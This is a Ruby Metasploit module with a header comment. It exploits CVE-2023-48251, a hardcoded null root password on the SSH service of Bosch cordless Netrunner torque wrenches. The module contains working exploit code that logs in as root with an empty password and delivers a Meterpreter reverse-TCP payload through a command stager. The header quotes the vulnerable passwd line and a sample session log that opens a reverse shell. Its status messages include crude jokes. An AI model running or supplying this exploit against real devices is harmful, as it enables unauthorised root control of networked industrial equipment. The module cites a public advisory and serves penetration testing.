## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # CVE-2023-48251 is a pnumatic torque wrench running a ssh server, with a passwd # file (yes, passwd, not shadow, for reasons unknown to me...) with hardcoded # cedentials for the root account. The firmware once disassembled shows that # it runs a custom compiled version of dropbear ssh, it lacks a /etc/shadow # completely, and has a /etc/passwd file with only two lines. The relevanet # line being: root:DNBrppmB3kkRs:0:0:root:/home/tool:/bin/sh # Where the descrypt hash DNBrppmB3kkRs when run through John the Ripper, shows # that this resolves to a null password. Once I figured this out, the rest of the # exploit was rather trivial, after recreating the environment similar to that on # the tool. # # # msf6 exploit(test/bosche_netrunner_rce) > exploit # # [*] Started reverse TCP handler on 192.168.1.177:4444 # [*] Trying to log in with hardcoded creds... # [*] Trying to connect via SSH # [+] Logged in... # [+] Back that big ass up! # [*] Sending stage (1017704 bytes) to 192.168.1.177 # [*] Command Stager progress - 100.00% done (808/808 bytes) # [*] Ey girl? How's it feel to be a shishkabob? # [*] Meterpreter session 4 opened (192.168.1.177:4444 -> 192.168.1.177:42836) at 2024-08-14 14:08:02 -0400 # # meterpreter > getuid # Server username: root # meterpreter > # oxagast / Marshall Whittaker require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::SSH attr_accessor :ssh_socket def initialize(info = {}) super(update_info(info, "Name" => 'Authenticated RCE via hardcoded credentials in Bosche Cordless Netrunner firmware <= V1300-SP1', "Description" => 'The Bosche Cordless Netrunner at versions below V1300-SP1 have hardcoded null root passwords.', "Author" => [ "Marshall Whittaker", # Metasploit Module "Andrea Palanca", # Discovery ], "License" => MSF_LICENSE, "References" => [ ["URL", "https://www.bosch.us/"], ["URL", "https://psirt.bosch.com/security-advisories/BOSCH-SA-711465.html"], ["URL", "https://nvd.nist.gov/vuln/detail/CVE-2023-48251"], ["CVE", "2023-48251"], ["CWE", "798"], ], "Targets" => [[ "Auto", {} ]], "Privileged" => true, "Arch" => "x86", "DisclosureDate" => "2024-1-8", "Notes" => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION] }, "DefaultOptions" => { # so we can hop into ssh "PrependFork" => true, "EXITFUNC" => "process", "PAYLOAD" => "linux/x86/meterpreter/reverse_tcp" }, "Payload" => { "Space" => 4000, "DisableNops" => true }, "Platform" => "linux", "CmdStagerFlavor" => "printf", "DefaultTarget" => 0, )) register_options( [ OptString.new('RHOST', [ true, "Target IP" ]), Opt::RPORT(22) ], self.class ) # so we don't have extreneous opts deregister_options('SSL', 'SSLCERT', 'RHOSTS') end def login(ip, port) # user has hardcoded null pass on this version of firmware user = 'root' # the most simplistic config print_status("Trying to log in with hardcoded creds...") ssh_opts = { :auth_methods => ["password"], :port => port, :password => "", # hardcoded :proxy => ssh_socket_factory, :non_interactive => true } # just for debugging print_status("Trying to connect via SSH") begin self.ssh_socket = Net::SSH.start(ip, user, ssh_opts) rescue Rex::ConnectionError fail_with(Failure::Unreachable, "Disconnected preauth") rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, "Connection timed out") rescue Net::SSH::AuthenticationFailed fail_with(Failure::NoAccess, "Bad password (not vulnerable)") end if not self.ssh_socket # this usually happens when the port is in use already fail_with(Failure::Unknown, "Couldn't open socket") end return end def execute_command(cmd, opts = {}) begin Timeout.timeout(5) do # send the stager self.ssh_socket.exec!("#{cmd}\n") end rescue ::Exception end end def exploit ip = datastore['RHOST'] port = datastore['RPORT'] if ip == "" fail_with(Failure::BadConfig, "You need to define a RHOST!") end login(ip, port) print_good("Logged in...") print_good("Back that big ass up!") execute_cmdstager({:linemax => 1000}) print_status("Ey girl? How's it feel to be a shishkabob?") self.ssh_socket.close end end